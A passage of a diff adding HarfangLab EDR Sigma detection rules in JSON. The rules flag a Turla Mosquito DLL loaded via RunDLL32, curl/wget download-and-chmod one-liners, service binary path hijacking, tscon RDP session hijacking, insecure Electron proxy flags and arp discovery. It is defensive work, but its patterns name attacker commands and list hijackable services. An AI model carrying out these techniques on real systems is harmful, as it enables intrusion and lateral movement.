*.pdb'\n\n    condition: all of selection_* and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "54a90583-1d04-484b-a12c-b7e9d9a557ed",
+  "rule_name": "Suspicious DLL with a Program Database Extension Loaded via RunDLL32",
+  "rule_description": "Detects a suspicious DLL load with a .pdb extension.\nThis command is seen in Turla's Mosquito malware, which is commonly delivered through spearphishing attachments.\nThe malware will place a DLL file with a \".pdb\" extension at a random or deep path in %APPDATA% and use RunDLL32.exe to load it.\nIt is recommended to investigate the loaded pdb file, as well as other actions taken by the parent process.\n",
+  "rule_creation_date": "2022-12-06",
+  "rule_modified_date": "2025-01-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.011",
+    "attack.t1566.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "54eff1c1-eb8a-43c1-a752-478f492a2912",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625181Z",
+  "creation_date": "2026-03-23T11:45:34.625183Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625187Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.malwaremustdie.org/2015/07/mmd-0037-2015-bad-shellshock.html",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/techniques/T1222/002/"
+  ],
+  "name": "t1105_linux_suspicious_download_execute.yml",
+  "content": "title: Suspicious Download and Execution of a Remote File (Linux)\nid: 54eff1c1-eb8a-43c1-a752-478f492a2912\ndescription: |\n    Detects when curl or wget are used to download a remote file, followed by a chmod to execute it (as a one liner).\n    Attackers often use this technique to execute payloads for initial access (by luring a user into executing the command) or simply because of its simplicity.\n    It is recommended to investigate the remote file and the actions it performs to ensure it is legitimate.\nreferences:\n    - https://blog.malwaremustdie.org/2015/07/mmd-0037-2015-bad-shellshock.html\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/techniques/T1222/002/\ndate: 2021/09/28\nmodified: 2025/12/18\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - attack.defense_evasion\n    - attack.t1222.002\n    - attack.execution\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.FileDownload\n    - classification.Linux.Behavior.InitialAccess\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith:\n            - '/sh'\n            - '/bash'\n            - '/csh'\n            - '/dash'\n            - '/ksh'\n            - '/tcsh'\n            - '/zsh'\n        CommandLine|contains:\n            - 'wget*chmod*+x'\n            - 'wget*chmod* 7?? '\n            - 'curl*chmod*+x'\n            - 'curl*chmod* 7?? '\n\n    exclusion_script:\n        CommandLine|contains:\n            - 'sh -c #!/bin/sh'\n            - 'sh -c #!/bin/bash'\n            - 'sh -c #!/usr/bin/env bash'\n            - 'sh -c #! /usr/bin/env bash'\n\n    exclusion_parentimage:\n        ParentImage:\n            - '/usr/sbin/cron'\n            - '/usr/sbin/crond'\n            - '/usr/bin/make'\n\n    exclusion_coder:\n        CommandLine|contains: '# This is to allow folks to exec into a failed workspace and poke around to'\n\n    exclusion_songui:\n        Ancestors|contains:\n            - '/vendor_android/out/soong_ui'\n            - '/android/out/soong_ui'\n\n    exclusion_ninja:\n        Ancestors|contains: '/bin/ninja|'\n\n    exclusion_containers:\n        Ancestors|contains:\n            - '/usr/bin/runc|/usr/bin/dockerd'\n            - '/usr/sbin/runc|/usr/sbin/dockerd'\n            - '/usr/sbin/runc|/usr/bin/dockerd'\n            - '/usr/bin/containerd-shim-runc-v2'\n            - '/usr/sbin/containerd-shim-runc-v2'\n            - '|/usr/local/bin/containerd-shim-runc-v2|'\n            - '|/snap/docker/*/bin/dockerd|'\n            - '|/usr/bin/podman|'\n\n    exclusion_gitlab:\n        Ancestors|contains: '|/usr/bin/gitlab-runner|'\n\n    exclusion_proxmox:\n        Ancestors|contains: '|/usr/libexec/proxmox/proxmox-termproxy|'\n\n    exclusion_ssh:\n        CommandLine|contains: '/bin/sh -c ssh * sh << ?EOSSH?'\n\n    exclusion_claude:\n        ParentCommandLine:\n            - 'claude'\n            - 'node /home/*/.nvm/versions/node/v*/bin/claude'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "54eff1c1-eb8a-43c1-a752-478f492a2912",
+  "rule_name": "Suspicious Download and Execution of a Remote File (Linux)",
+  "rule_description": "Detects when curl or wget are used to download a remote file, followed by a chmod to execute it (as a one liner).\nAttackers often use this technique to execute payloads for initial access (by luring a user into executing the command) or simply because of its simplicity.\nIt is recommended to investigate the remote file and the actions it performs to ensure it is legitimate.\n",
+  "rule_creation_date": "2021-09-28",
+  "rule_modified_date": "2025-12-18",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1222.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "550ab391-082f-41b0-82d9-2dd1a6308d59",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604684Z",
+  "creation_date": "2026-03-23T11:45:34.604687Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604695Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/juliourena/SharpNoPSExec",
+    "https://attack.mitre.org/techniques/T1569/002/"
+  ],
+  "name": "t1569_002_suspicious_service_binary_path_modification.yml",
+  "content": "title: Suspicious Service Binary Path Modification\nid: 550ab391-082f-41b0-82d9-2dd1a6308d59\ndescription: |\n    Detects the suspicious modification of a service's binary path, specifically for services that are disabled by default and have LocalSystem privileges.\n    Attackers may try to modify existing services to serve their own payload instead of the legitmate service binary.\n    This technique is for instance used by the SharpNoPSExec tool.\n    It is recommended to analyze the new binary set for service to look for malicious content as well as to investigate the user performing this action to determine whether it is legitimate.\nreferences:\n    - https://github.com/juliourena/SharpNoPSExec\n    - https://attack.mitre.org/techniques/T1569/002/\ndate: 2021/05/03\nmodified: 2025/04/03\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1569.002\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        Image|endswith: '\\services.exe'\n        # Lists services that are disable by default and have LocalSystem privileges\n        TargetObject:\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\AppVClient\\ImagePath'               # Windows 10, Windows Server 2019, Windows Server 2016\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\AxInstSV\\ImagePath'                 # Windows Server 2019\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\Browser\\ImagePath'                  # Windows Server 2016, Windows Server 2012 r2\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\CscService\\ImagePath'               # Windows Server 2019, Windows Server 2016\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\DialogBlockingService\\ImagePath'    # Windows 10\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\dmwappushservice\\ImagePath'         # Windows Server 2019\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\GraphicsPerfSvc\\ImagePath'          # Windows Server 2019\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\lfsvc\\ImagePath'                    # Windows Server 2019\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\MsKeyboardFilter\\ImagePath'         # Windows 10\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\NtFrs\\ImagePath'                    # Windows Server 2019\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\PushToInstall\\ImagePath'            # Windows Server 2019\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\RemoteAccess\\ImagePath'             # Windows 10, Windows Server 2016, Windows Server 2012 r2\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\ScDeviceEnum\\ImagePath'             # Windows Server 2019\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\SensorDataService\\ImagePath'        # Windows Server 2019\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\ImagePath'             # Windows Server 2019, Windows Server 2012 r2\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\shpamsvc\\ImagePath'                 # Windows 10, Windows Server 2019\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\ssh-agent\\ImagePath'                # Windows 10, Windows Server 2019\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\UevAgentService\\ImagePath'          # Windows 10, Windows Server 2019, Windows Server 2016\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\uhssvc\\ImagePath'                   # Windows 10\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\WalletService\\ImagePath'            # Windows Server 2019\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\wisvc\\ImagePath'                    # Windows Server 2019\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\WSearch\\ImagePath'                  # Windows Server 2019, Windows Server 2016\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n            - '\"\"'\n\n    exclusion_legitimate_svc_binaries:\n        Details|contains:\n            - '?:\\Program Files\\Microsoft Update Health Tools\\uhssvc.exe'     # uhssvc\n            - '?:\\Windows\\system32\\AgentService.exe'                          # UevAgentService\n            - '?:\\Windows\\system32\\AppVClient.exe'                            # AppVClient\n            - '?:\\Windows\\system32\\ntfrs.exe'                                 # NtFrs\n            - '?SystemRoot?\\system32\\ntfrs.exe'                               # NtFrs\n            - '*\\OpenSSH\\ssh-agent.exe'                                       # ssh-agent\n            - '*\\OpenSSH-Win64\\ssh-agent.exe'                                 # ssh-agent\n            - '?:\\Windows\\system32\\SearchIndexer.exe '                        # WSearch\n            - '%systemroot%\\system32\\SearchIndexer.exe '                      # WSearch\n            - '?:\\Windows\\System32\\SensorDataService.exe'                     # SensorDataService\n            - '?:\\Windows\\system32\\svchost.exe -k '                           # AxInstSV, Browser, CscService, DialogBlockingService, dmwappushservice, GraphicsPerfSvc, lfsvc, MsKeyboardFilter, PushToInstall, RemoteAccess, ScDeviceEnum, SharedAccess, shpamsvc, WalletService, wisvc\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "550ab391-082f-41b0-82d9-2dd1a6308d59",
+  "rule_name": "Suspicious Service Binary Path Modification",
+  "rule_description": "Detects the suspicious modification of a service's binary path, specifically for services that are disabled by default and have LocalSystem privileges.\nAttackers may try to modify existing services to serve their own payload instead of the legitmate service binary.\nThis technique is for instance used by the SharpNoPSExec tool.\nIt is recommended to analyze the new binary set for service to look for malicious content as well as to investigate the user performing this action to determine whether it is legitimate.\n",
+  "rule_creation_date": "2021-05-03",
+  "rule_modified_date": "2025-04-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "55220ced-81e7-4e5d-a0e9-929ac80f50cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076643Z",
+  "creation_date": "2026-03-23T11:45:34.076645Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076649Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement",
+    "https://blog.gentilkiwi.com/securite/vol-de-session-rdp",
+    "https://attack.mitre.org/techniques/T1563/002/"
+  ],
+  "name": "t1563_002_tscon_usage.yml",
+  "content": "title: Possible Lateral Movement via Tscon\nid: 55220ced-81e7-4e5d-a0e9-929ac80f50cf\ndescription: |\n    Detects the usage of the tscon.exe utility. Terminal Services Console (tscon) is used to connect to another session on a Remote Desktop Session Host server.\n    This can be used as an attacker with credentials to try and move laterally and acquire more credentials.\n    To investigate this alert, look for the usage of qwinsta or quser as a way to discover remote RDP sessions. HarfangLab EDR provides alerts when these binaries are used for discovery.\n    It also recommended to attempt to correlate RDP logins across machines to determine if the tool was used successfully.\nreferences:\n    - https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement\n    - https://blog.gentilkiwi.com/securite/vol-de-session-rdp\n    - https://attack.mitre.org/techniques/T1563/002/\ndate: 2023/08/25\nmodified: 2025/03/18\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1563.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.Tscon\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'tscon.exe'\n\n    # There's another rule for this (Hijacking)\n    exclusion_system:\n        UserSID|startswith: 'S-1-5-18'\n\n    exclusion_systancia:\n        - ParentImage|endswith:\n            - '\\Systancia\\AppliDis\\AppliDis Serveur\\bin\\AppliDis Starter.exe'\n            - '\\Systancia\\AppliDis\\AppliDis Serveur\\bin\\ThinDesktop\\adisbureau.exe'\n        - GrandparentImage: '?:\\Program Files (x86)\\Systancia\\AppliDis\\AppliDis Serveur\\bin\\ThinDesktop\\AppliDisVDIObserver.exe'\n\n    exclusion_osiris:\n        ParentImage|endswith: '\\Corwin\\Osiris\\Appli.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\n#level: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "55220ced-81e7-4e5d-a0e9-929ac80f50cf",
+  "rule_name": "Possible Lateral Movement via Tscon",
+  "rule_description": "Detects the usage of the tscon.exe utility. Terminal Services Console (tscon) is used to connect to another session on a Remote Desktop Session Host server.\nThis can be used as an attacker with credentials to try and move laterally and acquire more credentials.\nTo investigate this alert, look for the usage of qwinsta or quser as a way to discover remote RDP sessions. HarfangLab EDR provides alerts when these binaries are used for discovery.\nIt also recommended to attempt to correlate RDP logins across machines to determine if the tool was used successfully.\n",
+  "rule_creation_date": "2023-08-25",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1563.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "55244098-589e-4076-b4a9-0b6889dbc53c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078282Z",
+  "creation_date": "2026-03-23T11:45:34.078284Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078289Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://positive.security/blog/ms-officecmd-rce",
+    "https://attack.mitre.org/techniques/T1090",
+    "https://attack.mitre.org/techniques/T1573"
+  ],
+  "name": "t1090_electron_proxy.yml",
+  "content": "title: Insecure Proxy Settings Set on Electron Application\nid: 55244098-589e-4076-b4a9-0b6889dbc53c\ndescription: |\n    Detects the execution of an Electron-based application (Teams, Skype, etc.) using insecure proxy settings.\n    This could be used to monitor the network traffic of those applications and steal credentials.\n    It is recommended to investigate other malicious activity on the current machine and look for any lateralization alerts.\nreferences:\n    - https://positive.security/blog/ms-officecmd-rce\n    - https://attack.mitre.org/techniques/T1090\n    - https://attack.mitre.org/techniques/T1573\ndate: 2021/12/17\nmodified: 2025/01/13\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1090\n    - attack.t1573\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    app_skype:\n        - Image|endswith: '\\skype.exe'\n        - OriginalFileName: 'Skype.exe'\n    app_teams:\n        - Image|endswith: '\\Teams.exe'\n        - OriginalFileName: 'Teams.exe'\n    selection:\n        CommandLine|contains|all:\n            - '--ignore-certificate-errors'\n            - '--host-rules'\n    condition: 1 of app_* and selection\nlevel: medium\n# level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "55244098-589e-4076-b4a9-0b6889dbc53c",
+  "rule_name": "Insecure Proxy Settings Set on Electron Application",
+  "rule_description": "Detects the execution of an Electron-based application (Teams, Skype, etc.) using insecure proxy settings.\nThis could be used to monitor the network traffic of those applications and steal credentials.\nIt is recommended to investigate other malicious activity on the current machine and look for any lateralization alerts.\n",
+  "rule_creation_date": "2021-12-17",
+  "rule_modified_date": "2025-01-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090",
+    "attack.t1573"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5557b16c-8005-48ea-9059-b7641cba9823",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.468858Z",
+  "creation_date": "2026-03-23T11:45:34.627045Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627049Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://man7.org/linux/man-pages/man8/arp.8.html",
+    "https://gtfobins.github.io/gtfobins/arp/",
+    "https://attack.mitre.org/techniques/T1016/",
+    "https://attack.mitre.org/techniques/T1018/",
+    "https://attack.mitre.org/software/S0099/"
+  ],
+  "name": "t1016_arp_linux.yml",
+  "content": "title: Arp Execution (Linux)\nid: 5557b16c-8005-48ea-9059-b7641cba9823\ndescription: |\n    Detects the execution of arp, a tool used to display information about the system's Address Resolution Protocol (ARP) cache.\n    Attackers may use it during discovery phase to display ARP configuration information on the host or to discover remote systems.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://man7.org/linux/man-pages/man8/arp.8.html\n    - https://gtfobins.github.io/gtfobins/arp/\n    - https://attack.mitre.org/techniques/T1016/\n    - https://attack.mitre.org/techniques/T1018/\n    - https://attack.mitre.org/software/S0099/\ndate: 2022/12/23\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1016\n    - attack.t1018\n    - attack.s0099\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Arp\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/arp'\n        ParentImage|startswith: '?'\n\n    # Exclude manual arp launched from a terminal emulator\n    exclusion_terminal_emulators:\n        GrandparentCommandLine|endswith:\n            - '/gnome-terminal-server'\n            - '/terminator'\n            - '/xfce4-terminal'\n            - '/xterm'\n\n    exclusion_fusioninventory:\n        ParentCommandLine:\n            - 'fusioninventory-agent: task NetDiscovery'\n            - 'fusioninventory-agent (tag *'\n            - '/usr/bin/perl /usr/bin/fusioninventory-agent --daemon --no-fork'\n\n    exclusion_qualys:\n        - GrandparentImage:\n            - '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n            - '/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent'\n        - ProcessAncestors|contains:\n            - '|/usr/local/qualys/cloud-agent/bin/qualys-scan-util|'\n            - '|/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent|'\n\n    exclusion_oracle:\n        - ParentImage: '*/oracle/*/agent_*/perl/bin/perl'\n        - CurrentDirectory|startswith:\n            - '/u01/app/grid/'\n            - '/u01/app/oracle/'\n\n    exclusion_oracle_oswatcher:\n        ParentCommandLine|startswith:\n            - '/bin/sh ./arpsub.sh '\n            - '/bin/sh ./OSWatcher.sh'\n        GrandparentCommandLine|startswith: '/bin/sh ./OSWatcher.sh'\n        User: 'oracle'\n\n    exclusion_oracle_diagsnap:\n        ParentImage:\n            - '/usr/bin/bash'\n            - '/bin/sh'\n            - '*/perl/bin/perl'\n        # /u01/app/grid/19.9.0.0/perl/bin/perl /u01/app/grid/19.9.0.0/bin/diagsnap.pl start\n        GrandparentImage|endswith: '/perl/bin/perl'\n        GrandparentCommandLine|contains: '/bin/diagsnap.pl'\n\n    exclusion_dsagent:\n        ParentCommandLine: '/bin/bash /opt/ds_agent/ds_agent.init start'\n\n    exclusion_glpi:\n        - GrandparentCommandLine:\n            - 'glpi-agent: waiting'\n            - 'glpi-agent (tag *): *'\n            - '/usr/bin/perl /usr/bin/glpi-agent'\n            - '/usr/bin/perl /usr/bin/glpi-agent *'\n            - '*/bin/perl */glpi-agent/agent/bin/glpi-agent *'\n        - CurrentDirectory:\n            - '/opt/glpi-agent/agent/bin'\n            - '/opt/glpi-agent/agent/bin/'\n\n    exclusion_espcli:\n        ParentCommandLine|endswith: '>adrmac.txt'\n        GrandparentCommandLine: './espcli_parc'\n\n    exclusion_rc3:\n        CommandLine: '/sbin/arp -f /etc/ethers'\n        ParentCommandLine|startswith: '/bin/bash /etc/rc3.d/S10network'\n\n    exclusion_ds_agent:\n        ParentCommandLine: '/bin/bash /opt/ds_agent/Linux.init start'\n\n    exclusion_run-parts:\n        GrandparentImage: '/usr/bin/run-parts'\n\n    exclusion_containerd:\n        ProcessAncestors|contains:\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/usr/bin/docker-containerd-shim-current|'\n\n    exclusion_bladelogic:\n        ProcessAncestors|contains: '|/opt/bmc/bladelogic/RSCD/bin/rscd_full|'\n\n    exclusion_trendmicro:\n        ParentCommandLine: '/bin/bash /opt/TrendMicro/vls_agent/vls_agent.init start'\n\n    exclusion_puppet:\n        - ParentCommandLine: '/usr/bin/ruby /usr/sbin/puppetd'\n        - GrandparentCommandLine: '/usr/bin/ruby /usr/sbin/puppetd'\n\n    exclusion_facter:\n        GrandparentCommandLine|contains:\n            - 'sh -c /usr/bin/facter'\n            - '/usr/bin/ruby /usr/bin/facter'\n\n    exclusion_init:\n        ParentCommandLine: '/bin/bash /etc/init.d/network'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_vscode:\n        Ancestors|contains: '|/snap/code/*/usr/share/code/code|'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5557b16c-8005-48ea-9059-b7641cba9823",
+  "rule_name": "Arp Execution (Linux)",
+  "rule_description": "Detects the execution of arp, a tool used to display information about the system's Address Resolution Protocol (ARP) cache.\nAttackers may use it during discovery phase to display ARP configuration information on the host or to discover remote systems.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
